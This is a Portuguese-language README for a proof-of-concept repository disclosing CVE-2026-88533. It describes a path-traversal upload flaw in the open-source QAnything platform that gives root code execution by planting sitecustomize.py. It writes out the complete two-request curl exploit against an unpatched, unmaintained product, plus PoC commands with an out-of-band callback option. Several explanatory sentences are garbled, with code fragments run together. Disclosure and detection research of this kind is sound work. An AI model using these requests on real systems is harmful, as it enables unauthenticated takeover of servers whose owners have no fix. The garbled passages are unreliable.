
PoC e reprodução em laboratório para CVE-2026-88533, uma escrita arbitrária de arquivos não autenticada que leva a RCE como root no QAnything por meio de path traversal no endpoint de upload.
ID CVE: CVE-2026-88533 (atribuído pelo MITRE, publicação do registro pendente)
Produto: QAnything da netease-youdao — plataforma open-source de RAG / QA com base de conhecimento
Afetado: v1.4.x até v2.0.0 (branch padrão qanything-v2, até o commit final 65de104)
Versão corrigida: nenhuma — projeto sem manutenção desde 2025-03-12; a única correção de sanitização (PR #483) está no branch legado master e nunca foi mesclada no qanything-v2
Fraqueza: CWE-22 Path Traversal
Impacto: Criação arbitrária de arquivo não autenticada → Execução Remota de Código como uid=0(root)
Descobridor: Yankui Li
O endpoint de upload de arquivos POST /api/local_doc_qa/upload_files recebe o
multipart controlado pelo atacante e o utiliza como caminho de destino sem sanitizar os
separadores de caminho. expande de volta para , o filtro de
caracteres de largura total e o truncamento de comprimento deixam e caminhos absolutos
intactos, e .
O resultante grava conteúdo controlado pelo atacante em qualquer
local que o processo possa alcançar — dentro de um contêiner por padrão.
filenameurllib.parse.unquote()%2f/../os.path.join(base, name)name é absolutoopen(file_location, "wb")rootComo o produto não exige autenticação em nenhum lugar (user_id/user_info são parâmetros
comuns de requisição), qualquer instância acessível pela rede aceita isso anonimamente.
handler.py :: upload_files
file.name ──► urllib.parse.unquote() # %2f → "/"
──► full-width char filter # cosmetic only
──► truncate_filename() # length cap, no "/" or ".." filtering
core/local_file.py :: LocalFile.__init__
file_location = os.path.join(file_dir, file_name) # absolute name → base discarded
open(file_location, "wb") # arbitrary write
Duas propriedades tornam isso explorável de forma confiável:
../.%2e%2e%2f sobrevive porque o unquote é executado antes de qualquer filtro.Um contraste de hardening dentro da mesma base de código: o endpoint upload_faqs substitui /
por _ nos nomes de arquivo. upload_files nunca recebeu esse tratamento, tornando-o o único
vetor de escrita.
Nota: LocalFile.__init__ possui uma guarda if not os.path.exists(file_location), então
apenas novos arquivos podem ser criados — arquivos existentes não podem ser sobrescritos.
A exploração, portanto, visa novos arquivos em locais executáveis.
A imagem Docker oficial executa o backend Python como root. O CPython importa automaticamente
sitecustomize.py de site-packages na inicialização do interpretador — um arquivo novo
colocado em:
usr/local/lib/python3.10/site-packages/sitecustomize.py
(7×../ relativo, ou caminho absoluto) é importado na próxima vez que o backend iniciar,
executando código do atacante como uid=0(root).
Por que
site-packagese não o diretório da aplicação? O CPython executasite.pyantes de inserirsys.path[0], então umsitecustomize.pyao lado do script de entrada não é auto-importado.site-packagesé a única zona de entrega confiável.
Outros vetores foram testados e descartados (documentados para completude):
/etc/cron.d/ — o diretório existe e aceita gravações, mas a imagem não inclui nenhum daemon cron, então nada executa o payload.Imagem oficial + código-fonte vulnerável fixado (commit 65de104):
git clone <this-repo> && cd CVE-2026-88533
git clone https://github.com/netease-youdao/QAnything
cd QAnything && git checkout 65de104 && cd ..
docker compose -f docker-compose-lab.yaml up -d
# wait for the backend:
curl http://127.0.0.1:8777/api/health_check
O script PoC vem neste repositório (poc_qanything_cve_2026_88533.py) — cada item de
evidência abaixo foi produzido executando-o contra a stack de laboratório acima. Clone e
reproduza a saída exata você mesmo:
# Step 1 — write primitive (harmless): marker written to /tmp inside the
# container via absolute-path multipart filename, then read back as proof
python poc_qanything_cve_2026_88533.py --mode check --container qanything-container-local
# Step 2 — full chain (LAB ONLY): sitecustomize.py into site-packages,
# container restart, code execution proven as uid=0(root)
python poc_qanything_cve_2026_88533.py --mode full --container qanything-container-local
# Optional out-of-band callback for network-level proof:
# ... --mode full --oob http://your-oob-endpoint/cb
--mode full reinicia o contêiner alvo uma vez (comportamento documentado; a importação do
CPython dispara na inicialização). Tudo é entregue seguro por padrão: sem reverse shell,
sem payload destrutivo — o payload de demonstração grava um arquivo marcador contendo a saída
de id.
Todo o ataque consiste em dois POSTs HTTP; é nisso que o conteúdo de detecção deve se basear
(o filename multipart carregando um caminho absoluto ou sequências ..//%2f é o sinal-chave):
# 1) anonymous knowledge base
curl -s -X POST http://TARGET:8777/api/local_doc_qa/new_knowledge_base \
-H "Content-Type: application/json" \
-d '{"user_id":"anyuser","user_info":"1234","kb_id":"KBattacker1","kb_name":"x"}'
# 2) upload: the filename IS the destination path (absolute path also works)
curl -s -X POST http://TARGET:8777/api/local_doc_qa/upload_files \
-F "user_id=anyuser" -F "kb_id=KBattacker1" -F "mode=strong" \
-F '[email protected];filename=../../../../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py'
Todas as evidências abaixo são a saída real do terminal de poc_qanything_cve_2026_88533.py
(o script neste repositório) executado contra a stack de laboratório construída a partir de
docker-compose-lab.yaml. Nenhuma etapa foi falsificada ou simulada — o script sai com código
diferente de zero a menos que todas as verificações passem, então você pode verificar a cadeia
de ponta a ponta por conta própria.
Stack de laboratório — imagem oficial + dependências mínimas, todos os contêineres saudáveis:

--mode check — primitiva de escrita não autenticada confirmada: o marcador foi gravado fora
do diretório de upload via um filename multipart com caminho absoluto e lido de volta de dentro do contêiner:

--mode full — após o reinício do contêiner, o CPython auto-importa o sitecustomize.py
plantado; o marcador do payload comprova execução como uid=0(root):

A transcrição completa do terminal da execução --mode full mostrada acima também está incluída,
literalmente: evidence/full-chain-run-2026-09-18.log —
6/6 verificações [OK], veredito RCE CONFIRMED, marcador do payload comprovando uid=0(root) com
timestamp (os valores nonce/kb_id no log são gerados aleatoriamente a cada execução, então sua
própria execução será diferente — isso é esperado).
Uma captura de tela da página do registro CVE será adicionada assim que o registro for publicado.
| Data | Evento |
|---|---|
| 2026-08-25 | Vulnerabilidade descoberta; primitiva de escrita verificada contra uma instância ativa (marcador inofensivo + leitura de volta) |
| 2026-08-29 | Cadeia completa de RCE reproduzida em um laboratório local isolado; relatório escrito; enviado ao MITRE (CNA-LR) via cveform |
| 2026-09-18 | CVE-2026-88533 atribuído pelo MITRE |
| A definir | Registro CVE publicado; este repositório e um write-up detalhado divulgados |
Este material é publicado para pesquisa defensiva e fins educacionais. Use apenas contra sistemas que você possui ou tem autorização escrita explícita para testar. Consulte DISCLAIMER.md.